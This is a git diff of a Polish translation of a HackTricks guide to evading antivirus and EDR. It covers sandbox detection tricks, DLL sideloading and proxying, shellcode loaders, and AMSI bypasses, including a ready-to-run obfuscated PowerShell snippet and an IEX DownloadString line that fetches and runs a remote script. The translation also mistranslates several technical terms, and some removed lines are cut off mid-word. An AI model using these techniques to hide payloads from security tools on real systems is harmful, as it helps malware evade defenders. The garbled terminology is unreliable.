mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
Translated ['windows-hardening/av-bypass.md'] to pl
This commit is contained in:
parent
216b53b3f2
commit
adf4bcb1ab
1 changed files with 120 additions and 189 deletions
|
@ -1,16 +1,16 @@
|
|||
# Unikanie wykrycia przez antywirusy (AV)
|
||||
# Metoda unikania programów antywirusowych (AV)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repozytoriów GitHub.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -18,39 +18,39 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## **Metodologia unikania AV**
|
||||
|
||||
Obecnie antywirusy (AV) używają różnych metod sprawdzania, czy plik jest złośliwy czy nie, takich jak statyczne wykrywanie, dynamiczna analiza i dla bardziej zaawansowanych systemów EDR analiza behawioralna.
|
||||
Obecnie programy antywirusowe (AV) używają różnych metod sprawdzania, czy plik jest złośliwy, czy nie, statyczną detekcję, analizę dynamiczną i dla bardziej zaawansowanych rozwiązań EDR, analizę behawioralną.
|
||||
|
||||
### **Statyczne wykrywanie**
|
||||
### **Detekcja statyczna**
|
||||
|
||||
Statyczne wykrywanie jest osiągane poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, podpisy cyfrowe, ikona, suma kontrolna itp.). Oznacza to, że korzystanie z publicznie dostępnych narzędzi może prowadzić do łatwiejszego wykrycia, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego rodzaju wykrywania:
|
||||
Detekcja statyczna jest osiągana poprzez oznaczanie znanych złośliwych ciągów znaków lub tablic bajtów w pliku binarnym lub skrypcie, a także wyodrębnianie informacji z samego pliku (np. opis pliku, nazwa firmy, sygnatury cyfrowe, ikona, suma kontrolna, itp.). Oznacza to, że korzystanie z znanych publicznych narzędzi może sprawić, że zostaniesz łatwiej wykryty, ponieważ prawdopodobnie zostały one przeanalizowane i oznaczone jako złośliwe. Istnieje kilka sposobów obejścia tego rodzaju detekcji:
|
||||
|
||||
* **Szyfrowanie**
|
||||
|
||||
Jeśli zaszyfrujesz plik binarny, nie będzie możliwe wykrycie go przez AV, ale będziesz potrzebować pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.
|
||||
Jeśli zaszyfrujesz plik binarny, AV nie będzie w stanie wykryć twojego programu, ale będziesz potrzebować pewnego rodzaju ładowacza do odszyfrowania i uruchomienia programu w pamięci.
|
||||
|
||||
* **Obfuskacja**
|
||||
* **Oblężenie**
|
||||
|
||||
Czasami wystarczy zmienić niektóre ciągi znaków w pliku binarnym lub skrypcie, aby uniknąć wykrycia przez AV, ale może to być czasochłonne zadanie, w zależności od tego, co próbujesz zobfuskować.
|
||||
Czasami wystarczy zmienić kilka ciągów znaków w swoim pliku binarnym lub skrypcie, aby ominąć AV, ale może to być zadanie czasochłonne, w zależności od tego, co próbujesz zaszyfrować.
|
||||
|
||||
* **Narzędzia niestandardowe**
|
||||
|
||||
Jeśli opracujesz własne narzędzia, nie będą znane żadne złośliwe sygnatury, ale wymaga to dużo czasu i wysiłku.
|
||||
Jeśli opracowujesz własne narzędzia, nie będzie znanych złych sygnatur, ale zajmie to dużo czasu i wysiłku.
|
||||
|
||||
{% hint style="info" %}
|
||||
Dobrym sposobem sprawdzania wykrywania statycznego przez Windows Defender jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Program ten dzieli plik na wiele segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, dzięki czemu można dokładnie określić, jakie ciągi znaków lub bajtów są oznaczone w pliku.
|
||||
Dobrym sposobem sprawdzenia detekcji statycznej Windows Defendera jest [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). W zasadzie dzieli plik na kilka segmentów, a następnie zleca Defenderowi skanowanie każdego z nich osobno, w ten sposób może ci dokładnie powiedzieć, jakie ciągi znaków lub bajtów są oznaczone w twoim pliku.
|
||||
{% endhint %}
|
||||
|
||||
Gorąco polecam obejrzenie tej [playlisty na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) dotyczącej praktycznego unikania wykrycia przez AV.
|
||||
Gorąco polecam obejrzenie tej [playliście na YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) dotyczącej praktycznego unikania AV.
|
||||
|
||||
### **Dynamiczna analiza**
|
||||
### **Analiza dynamiczna**
|
||||
|
||||
Dynamiczna analiza polega na uruchomieniu twojego pliku binarnego w piaskownicy i obserwowaniu złośliwej aktywności (np. próbie odszyfrowania i odczytania haseł przeglądarki, wykonaniu minidumpa na LSASS itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.
|
||||
Analiza dynamiczna polega na uruchomieniu twojego binarnego pliku w piaskownicy i obserwowaniu złośliwej aktywności (np. próba odszyfrowania i odczytania haseł z przeglądarki, wykonanie minidump na LSASS, itp.). Ta część może być nieco trudniejsza do pracy, ale oto kilka rzeczy, które możesz zrobić, aby uniknąć piaskownic.
|
||||
|
||||
* **Oczekiwanie przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być doskonały sposób na obejście dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, dlatego używanie długich oczekiwania może zakłócać analizę plików binarnych. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć oczekiwanie, w zależności od tego, jak jest to zaimplementowane.
|
||||
* **Sprawdzanie zasobów maszyny** Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. <2 GB RAM), w przeciwnym razie mogłyby spowolnić pracę maszyny użytkownika. Tutaj możesz również być bardzo kreatywny, na przykład sprawdzając temperaturę procesora lub nawet prędkość wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
||||
* **Sprawdzanie specyficzne dla maszyny** Jeśli chcesz zaatakować użytkownika, którego stanowisko jest dołączone do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do podanej przez ciebie, jeśli nie, możesz zmusić program do zakończenia działania.
|
||||
* **Uśpienie przed wykonaniem** W zależności od tego, jak jest to zaimplementowane, może to być świetny sposób na obejście dynamicznej analizy AV. AV ma bardzo krótki czas na skanowanie plików, aby nie przeszkadzać użytkownikowi w pracy, więc używanie długich uśpienia może zakłócić analizę binarnych plików. Problem polega na tym, że wiele piaskownic AV może po prostu pominąć uśpienie, w zależności od tego, jak jest to zaimplementowane.
|
||||
* **Sprawdzanie zasobów komputera** Zazwyczaj piaskownice mają bardzo mało zasobów do pracy (np. < 2 GB RAM), w przeciwnym razie mogłyby spowolnić pracę użytkownika. Możesz być również bardzo kreatywny tutaj, na przykład sprawdzając temperaturę procesora lub nawet prędkości wentylatorów, nie wszystko będzie zaimplementowane w piaskownicy.
|
||||
* **Sprawdzanie konkretnych maszyn** Jeśli chcesz skierować się do użytkownika, którego stacja robocza jest dołączona do domeny "contoso.local", możesz sprawdzić domenę komputera, aby sprawdzić, czy pasuje do tej, którą określiłeś, jeśli nie, możesz zmusić program do wyjścia.
|
||||
|
||||
Okazuje się, że nazwa komputera w piaskownicy Microsoft Defender to HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją. Jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy Defendera, więc możesz zmusić program do zakończenia działania.
|
||||
Okazuje się, że komputer piaskownicy Microsoft Defender ma nazwę HAL9TH, więc możesz sprawdzić nazwę komputera w swoim złośliwym oprogramowaniu przed detonacją, jeśli nazwa pasuje do HAL9TH, oznacza to, że znajdujesz się w piaskownicy defendera, więc możesz zmusić program do wyjścia.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>źródło: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
|
@ -58,19 +58,30 @@ Kilka innych naprawdę dobrych wskazówek od [@mgeeky](https://twitter.com/mariu
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
Jak już wspomnieliśmy wcześniej w tym poście, **publiczne narzędzia** w końcu zostaną **wykryte**, więc powinieneś zadać sobie pytanie:
|
||||
Jak wspomnieliśmy wcześniej w tym poście, **publiczne narzędzia** w końcu **zostaną wykryte**, więc powinieneś zadać sobie pytanie:
|
||||
|
||||
Na przykład, jeśli chcesz wydobyć LSASS, **czy naprawdę musisz używać mimikatz**? Czy możesz użyć innego projektu, który jest mniej znany i również wydobywa LSASS.
|
||||
Na przykład, jeśli chcesz wykonać dump LSASS, **czy naprawdę musisz użyć mimikatz**? Czy nie mogłbyś użyć innego projektu, który jest mniej znany i również wykonuje dump LSASS.
|
||||
|
||||
Prawidłową odpowiedzią jest prawdopodobnie ta druga opcja. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z najbardziej oznaczonych przez AV i EDR szkodliwych programów, podczas gdy sam projekt jest super, jest również koszmarem w pracy z nim, aby ominąć AV, więc poszukaj alternatyw dla tego, czego próbujesz osiągnąć.
|
||||
Prawdopodobnie właściwą odpowiedzią jest ta druga opcja. Biorąc mimikatz jako przykład, jest to prawdopodobnie jeden z najbardziej oznaczonych przez AV i EDRs szkodliwych programów, podczas gdy sam projekt jest super, jest to również koszmar, aby pracować z nim w celu uniknięcia AVs, więc poszukaj alternatyw dla tego, co chcesz osiągnąć.
|
||||
|
||||
{% hint style="info" %}
|
||||
Modyfikując swoje ładunki w celu uniknięcia wykrycia, upewnij się, że **wyłączasz automatyczne przesyłanie próbek** do defendera, a także, proszę, **NIE PRZEŁADOWUJ DO VIRUSTOTAL**, jeśli twoim celem jest osiągnięcie uniknięcia wykrycia na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek zostaje wykryty przez konkretny AV, zainstaluj go na maszyn
|
||||
## DLL Sideloading & Proxying
|
||||
Podczas modyfikowania swoich ładunków w celu uniknięcia, upewnij się, że **wyłączysz automatyczne przesyłanie próbek** w defenderze, i proszę, serio, **NIE WYSYŁAJ NA VIRUSTOTAL** jeśli twoim celem jest osiągnięcie unikania na dłuższą metę. Jeśli chcesz sprawdzić, czy twój ładunek zostanie wykryty przez określonego AV, zainstaluj go na maszynie wirtualnej, spróbuj wyłączyć automatyczne przesyłanie próbek i przetestuj go tam, aż będziesz zadowolony z wyniku.
|
||||
{% endhint %}
|
||||
|
||||
**DLL Sideloading** wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.
|
||||
## Pliki EXE vs DLL
|
||||
|
||||
Możesz sprawdzić, czy programy są podatne na DLL Sideloading, używając [Siofra](https://github.com/Cybereason/siofra) i następującego skryptu powershell:
|
||||
Zawsze, gdy to możliwe, zawsze **postaraj się używać DLL-ek do unikania**, moim doświadczeniem, pliki DLL są zazwyczaj **znacznie mniej wykrywane** i analizowane, więc to bardzo prosty trik do użycia w celu uniknięcia wykrycia w niektórych przypadkach (jeśli twój ładunek ma sposób działania jako DLL oczywiście).
|
||||
|
||||
Jak widać na tym obrazie, ładunek DLL z Havoc ma wskaźnik wykrywalności 4/26 w antiscan.me, podczas gdy ładunek EXE ma wskaźnik wykrywalności 7/26.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>porównanie antiscan.me normalnego ładunku EXE Havoc z normalnym ładunkiem DLL Havoc</p></figcaption></figure>
|
||||
|
||||
Teraz pokażemy kilka sztuczek, których możesz użyć z plikami DLL, aby być znacznie bardziej skrytobójczym.
|
||||
## Wstrzykiwanie DLL i Proxying
|
||||
|
||||
**Wstrzykiwanie DLL** wykorzystuje kolejność wyszukiwania DLL używaną przez ładowacz, umieszczając zarówno aplikację ofiarę, jak i złośliwe ładunki obok siebie.
|
||||
|
||||
Możesz sprawdzić programy podatne na wstrzykiwanie DLL za pomocą [Siofra](https://github.com/Cybereason/siofra) i następującego skryptu powershell:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -81,17 +92,17 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
To polecenie wyświetli listę programów podatnych na przechwycenie DLL w folderze "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
|
||||
To polecenie wyświetli listę programów podatnych na przejęcie DLL w "C:\Program Files\\" oraz pliki DLL, które próbują załadować.
|
||||
|
||||
Bardzo polecam **samodzielne zbadanie programów podatnych na przechwycenie DLL/Sideloadable**, ta technika jest dość skryta, jeśli jest poprawnie wykonana, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać wykryty.
|
||||
Gorąco polecam **samodzielne zbadanie programów podatnych na przejęcie DLL/Sideloadable**, ta technika jest dość skryta, jeśli jest wykonana poprawnie, ale jeśli używasz publicznie znanych programów Sideloadable DLL, możesz łatwo zostać złapany.
|
||||
|
||||
Po prostu umieszczenie złośliwej DLL o oczekiwanej nazwie przez program nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje pewnych określonych funkcji wewnątrz tej DLL. Aby rozwiązać ten problem, użyjemy innej techniki o nazwie **DLL Proxying/Forwarding**.
|
||||
Po prostu umieszczenie złośliwej DLL o nazwie, którą program oczekuje załadować, nie spowoduje załadowania twojego ładunku, ponieważ program oczekuje określonych funkcji w tej DLL. Aby rozwiązać ten problem, użyjemy innej techniki o nazwie **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** przekierowuje wywołania, które program wykonuje z proxy (i złośliwej) DLL do oryginalnej DLL, zachowując funkcjonalność programu i umożliwiając obsługę wykonania twojego ładunku.
|
||||
|
||||
Będę korzystać z projektu [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) od [@flangvik](https://twitter.com/Flangvik/)
|
||||
Będę korzystał z projektu [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) autorstwa [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
Oto kroki, które podjąłem:
|
||||
Oto kroki, które postępowałem:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
|
@ -121,12 +132,12 @@ Zarówno nasz shellcode (zakodowany za pomocą [SGN](https://github.com/EgeBalci
|
|||
<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
**Gorąco polecam** obejrzenie [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz [filmu ippsec](https://www.youtube.com/watch?v=3eROsG\_WNpE), aby dowiedzieć się więcej o tym, o czym rozmawialiśmy bardziej szczegółowo.
|
||||
**Gorąco polecam** obejrzenie [twitch VOD S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) na temat DLL Sideloading oraz również [filmu ippsec'a](https://www.youtube.com/watch?v=3eROsG\_WNpE), aby dowiedzieć się więcej na temat omawianych przez nas zagadnień w bardziej szczegółowy sposób.
|
||||
{% endhint %}
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze to zestaw narzędzi do łamania EDR za pomocą zawieszonych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
|
||||
`Freeze to zestaw narzędzi do łamania EDRs za pomocą zawieszonych procesów, bezpośrednich wywołań systemowych i alternatywnych metod wykonania`
|
||||
|
||||
Możesz użyć Freeze do załadowania i wykonania swojego shellcode w dyskretny sposób.
|
||||
```
|
||||
|
@ -138,46 +149,46 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
|||
<figure><img src="../.gitbook/assets/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Unikanie wykrycia to gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, więc nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj połączyć wiele technik unikania wykrycia.
|
||||
Unikanie to gra w kotka i myszkę, to co działa dzisiaj, może być wykryte jutro, dlatego nigdy nie polegaj tylko na jednym narzędziu, jeśli to możliwe, spróbuj łączyć kilka technik unikania.
|
||||
{% endhint %}
|
||||
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
## AMSI (Interfejs Skanowania Antywirusowego)
|
||||
|
||||
AMSI został stworzony w celu zapobiegania "[malware bez plików](https://en.wikipedia.org/wiki/Fileless\_malware)". Początkowo, programy antywirusowe były w stanie skanować **pliki na dysku**, więc jeśli można było jakoś uruchomić ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.
|
||||
AMSI został stworzony, aby zapobiegać "[malware bez plików](https://en.wikipedia.org/wiki/Fileless\_malware)". Początkowo programy antywirusowe były w stanie skanować **pliki na dysku**, więc jeśli udało ci się uruchomić ładunki **bezpośrednio w pamięci**, program antywirusowy nie mógł nic zrobić, ponieważ nie miał wystarczającej widoczności.
|
||||
|
||||
Funkcja AMSI jest zintegrowana w następujące komponenty systemu Windows.
|
||||
Funkcja AMSI jest zintegrowana w te komponenty systemu Windows.
|
||||
|
||||
* Kontrola konta użytkownika, czyli UAC (podnoszenie uprawnień dla plików EXE, COM, MSI lub instalacji ActiveX)
|
||||
* Kontrola konta użytkownika, czyli UAC (podnoszenie uprawnień plików EXE, COM, MSI lub instalacji ActiveX)
|
||||
* PowerShell (skrypty, interaktywne użycie i dynamiczna ocena kodu)
|
||||
* Windows Script Host (wscript.exe i cscript.exe)
|
||||
* Host skryptów systemu Windows (wscript.exe i cscript.exe)
|
||||
* JavaScript i VBScript
|
||||
* Makra VBA w programie Office
|
||||
* Makra VBA programu Office
|
||||
|
||||
Dzięki temu rozwiązaniu, rozwiązania antywirusowe mogą analizować zachowanie skryptów, ujawniając zawartość skryptów w formie niezaszyfrowanej i niezaciemnionej.
|
||||
Pozwala to rozwiązaniom antywirusowym inspekcjonować zachowanie skryptów, ujawniając zawartość skryptu w formie niezaszyfrowanej i niezakamuflowanej.
|
||||
|
||||
Uruchomienie polecenia `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w programie Windows Defender.
|
||||
Uruchomienie `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` spowoduje wyświetlenie następującego alertu w programie Windows Defender.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Zauważ, jak dodaje przedrostek `amsi:` a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe
|
||||
Zauważ, jak dodaje prefiks `amsi:` a następnie ścieżkę do pliku wykonywalnego, z którego uruchomiono skrypt, w tym przypadku powershell.exe
|
||||
|
||||
Nie zapisaliśmy żadnego pliku na dysku, ale i tak zostaliśmy wykryci w pamięci z powodu AMSI.
|
||||
|
||||
Istnieje kilka sposobów obejścia AMSI:
|
||||
|
||||
* **Zaciemnienie**
|
||||
* **Obufuskowanie**
|
||||
|
||||
Ponieważ AMSI głównie działa na podstawie statycznych wykryć, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
|
||||
Ponieważ AMSI głównie działa z wykrywaniem statycznym, modyfikowanie skryptów, które próbujesz załadować, może być dobrym sposobem na uniknięcie wykrycia.
|
||||
|
||||
Jednak AMSI ma zdolność do odszyfrowywania skryptów, nawet jeśli mają wiele warstw, dlatego zaciemnienie może być złym wyborem, w zależności od tego, jak jest wykonane. To sprawia, że unikanie wykrycia nie jest tak proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.
|
||||
Jednak AMSI ma zdolność do odkodowywania skryptów nawet jeśli mają one wiele warstw, dlatego obfuskacja może być złym wyborem w zależności od tego, jak jest wykonana. Sprawia to, że unikanie nie jest tak proste. Chociaż czasami wystarczy zmienić kilka nazw zmiennych i będzie dobrze, więc zależy to od tego, ile coś zostało oznaczone.
|
||||
|
||||
* **Ominięcie AMSI**
|
||||
|
||||
Ponieważ AMSI jest implementowane poprzez załadowanie DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), łatwo można go naruszyć nawet jako użytkownik bez uprawnień. Ze względu na tę wadę w implementacji AMSI, badacze znaleźli wiele sposobów na unikanie skanowania AMSI.
|
||||
Ponieważ AMSI jest implementowany poprzez załadowanie biblioteki DLL do procesu powershell (również cscript.exe, wscript.exe, itp.), jest możliwe łatwe manipulowanie nim nawet uruchamiając się jako użytkownik bez uprawnień. Ze względu na tę lukę w implementacji AMSI, badacze znaleźli kilka sposobów na uniknięcie skanowania AMSI.
|
||||
|
||||
**Wymuszenie błędu**
|
||||
|
||||
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że żadne skanowanie nie zostanie uruchomione dla bieżącego procesu. Początkowo zostało to ujawnione przez [Matt Graeber](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerokiemu wykorzystaniu.
|
||||
Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że nie zostanie uruchomione skanowanie dla bieżącego procesu. Początkowo zostało to ujawnione przez [Matt Graeber](https://twitter.com/mattifestation), a Microsoft opracował sygnaturę, aby zapobiec szerszemu użyciu.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
|
@ -185,7 +196,7 @@ Wymuszenie niepowodzenia inicjalizacji AMSI (amsiInitFailed) spowoduje, że żad
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Wystarczyła jedna linia kodu powershell, aby uniemożliwić użycie AMSI dla bieżącego procesu powershell. Oczywiście ta linia została wykryta przez sam AMSI, więc konieczne jest wprowadzenie pewnych modyfikacji, aby użyć tej techniki.
|
||||
Wystarczyła jedna linia kodu PowerShell, aby uniemożliwić użycie AMSI dla bieżącego procesu PowerShell. Oczywiście ta linia została wykryta przez AMSI, dlatego konieczne jest wprowadzenie pewnych modyfikacji, aby skorzystać z tej techniki.
|
||||
|
||||
Oto zmodyfikowane obejście AMSI, które znalazłem w tym [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```powershell
|
||||
|
@ -203,53 +214,51 @@ $Spotfix.SetValue($null,$true)
|
|||
```
|
||||
**Modyfikacja pamięci**
|
||||
|
||||
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/\_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w pliku amsi.dll (odpowiedzialnego za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu go instrukcjami zwracającymi kod dla E\_INVALIDARG. W ten sposób wynik rzeczywistego skanowania zostanie zwrócony jako 0, co jest interpretowane jako czysty wynik.
|
||||
Ta technika została początkowo odkryta przez [@RastaMouse](https://twitter.com/\_RastaMouse/) i polega na znalezieniu adresu funkcji "AmsiScanBuffer" w amsi.dll (odpowiedzialnej za skanowanie dostarczonych przez użytkownika danych wejściowych) i nadpisaniu jej instrukcjami zwracającymi kod dla E\_INVALIDARG, w ten sposób wynik rzeczywistego skanu zwróci 0, co jest interpretowane jako czysty wynik.
|
||||
|
||||
{% hint style="info" %}
|
||||
Proszę przeczytać [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) dla bardziej szczegółowego wyjaśnienia.
|
||||
{% endhint %}
|
||||
|
||||
Istnieje również wiele innych technik używanych do omijania AMSI w PowerShell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) i [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ten temat.
|
||||
Istnieje wiele innych technik używanych do obejścia AMSI za pomocą powershell, sprawdź [**tę stronę**](basic-powershell-for-pentesters/#amsi-bypass) i [ten repozytorium](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell), aby dowiedzieć się więcej na ich temat.
|
||||
|
||||
Lub ten skrypt, który za pomocą modyfikacji pamięci będzie modyfikował każde nowe Powersh
|
||||
## Maskowanie
|
||||
|
||||
## Obfuskacja
|
||||
Istnieje kilka narzędzi, które można użyć do **maskowania kodu C# w postaci zwykłego tekstu**, generowania **szablonów metaprogramowania** do kompilowania binariów lub **maskowania skompilowanych binariów**, takich jak:
|
||||
|
||||
Istnieje kilka narzędzi, które można użyć do **obfuskacji kodu C# w postaci tekstu jawnego**, generowania **szablonów metaprogramowania** do kompilacji binarnych lub **obfuskacji skompilowanych binarnych**, takich jak:
|
||||
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Obfuskator C#**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartej wersji [pakietu kompilacyjnego LLVM](http://www.llvm.org/), który może zapewnić zwiększone bezpieczeństwo oprogramowania poprzez [obfuskację kodu](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) i zabezpieczanie przed ingerencją.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, zaszyfrowanego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę zaszyfrowanych operacji generowanych przez szablonowe metaprogramowanie w C++, co utrudnia osobie próbującej złamać aplikację.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to obfuskator binarny x64, który potrafi obfuskować różne pliki PE, w tym: .exe, .dll, .sys
|
||||
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: Odmazywacz C#**
|
||||
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Celem tego projektu jest dostarczenie otwartej wersji [LLVM](http://www.llvm.org/), która zapewni zwiększone bezpieczeństwo oprogramowania poprzez [maskowanie kodu](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) i zabezpieczenie przed ingerencją.
|
||||
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator pokazuje, jak używać języka `C++11/14` do generowania, w czasie kompilacji, zasłoniętego kodu bez użycia zewnętrznego narzędzia i bez modyfikowania kompilatora.
|
||||
* [**obfy**](https://github.com/fritzone/obfy): Dodaje warstwę zasłoniętych operacji generowanych przez szablonowy framework metaprogramowania C++, co utrudni osobie chcącej złamać aplikację życie.
|
||||
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz to zasłoniacz binarny x64, który potrafi zasłonić różne pliki pe, w tym: .exe, .dll, .sys
|
||||
* [**metame**](https://github.com/a0rtega/metame): Metame to prosty silnik kodu metamorficznego dla dowolnych plików wykonywalnych.
|
||||
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator to zaawansowany framework obfuskacji kodu na poziomie kodu asemblera dla języków obsługiwanych przez LLVM przy użyciu ROP (programowanie oparte na powrotach). ROPfuscator obfuskuje program na poziomie kodu asemblera, zamieniając zwykłe instrukcje na łańcuchy ROP, utrudniając naturalny przepływ sterowania.
|
||||
